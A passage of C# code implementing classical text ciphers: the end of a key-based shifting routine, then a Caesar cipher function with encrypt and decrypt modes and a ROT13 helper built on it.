if (sTable.IndexOf(sSource[i]) == -1)
sResult += sSource[i];
else
{
iPosText = sTable.IndexOf(sSource[i]);
iPosKey = sTable.IndexOf(sKey[i]);
if (bDecrypt)
sResult += sTable[(((iPosText + iTableSize) - iPosKey) % iTableSize)];
else
sResult += sTable[((iPosText + iPosKey) % iTableSize)];
}
i++;
 
}
 
return sResult;
 
}
 
public static string Caesar(string sSource, int iKey, bool bDecrypt = false)
{
//Variables
string sResult = "";
string sTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int iPosText;
int i;
 
//Convert to Uppercase
sSource = sSource.ToUpper();
 
//Caesar Routine
i = 0;
while (i &lt;= (sSource.Length - 1))
{
if (sTable.IndexOf(sSource[i]) == -1)
sResult += sSource[i];
else
{
iPosText = sTable.IndexOf(sSource[i]);
if (bDecrypt)
sResult += sTable[(((iPosText + sTable.Length) - iKey) % sTable.Length)];
else
 
sResult += sTable[((iPosText + iKey) % sTable.Length)];
}
i++;
}
 
return sResult;
 
}
 
public static string ROT13(string sSource)
{
return Caesar(sSource, 13, false);
}
}